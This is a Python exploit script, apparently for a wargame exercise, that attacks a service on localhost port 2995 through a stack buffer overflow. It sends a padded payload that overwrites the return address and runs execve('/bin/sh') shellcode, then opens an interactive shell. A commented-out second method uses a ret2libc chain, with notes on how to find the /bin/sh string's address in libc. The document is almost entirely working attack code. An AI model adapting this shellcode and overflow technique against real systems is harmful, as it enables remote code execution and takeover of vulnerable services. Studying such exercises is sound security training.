import struct
import socket
import telnetlib

HOST = "127.0.0.1"
PORT = 2995

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((HOST,PORT))

junk = "\x00" + "A" * 531

''' One Way 
execve = struct.pack("I",0xb7f2e170) # p execve

# Other option info function @plt # execve = struct.pack("I",0x08048c0c)
# strings -a -t x /lib/libc.so.6 | grep "/bin/sh"
# 11f3bf /bin/sh
# info proc map : 0xb7e97000 0xb7fd5000   0x13e000          0         /lib/libc-2.11.2.so
# bin_sh = hex(0xb7e97000 + 0x11f3bf) = '0xb7fb63bf'
# another option is : grep -R -a -b -o /bin/sh /lib/libc.so.6

bin_sh = struct.pack("I",0xb7fb63bf)
payload = junk + execve + "BBBB" + bin_sh + struct.pack("I",0x00000000) + struct.pack("I",0x00000000)
s.send(payload + "\n")
s.send("uname\n")
s.recv(2048)

t = telnetlib.Telnet()
t.sock = s
t.interact()
'''

# Second way

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
mov_to_shellcode = struct.pack("I", 0xbffffc60)
#unique = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9"

payload = junk + mov_to_shellcode + shellcode
s.send(payload + "\n")
s.send("uname\n")
s.recv(2048)

t = telnetlib.Telnet()
t.sock = s
t.interact()
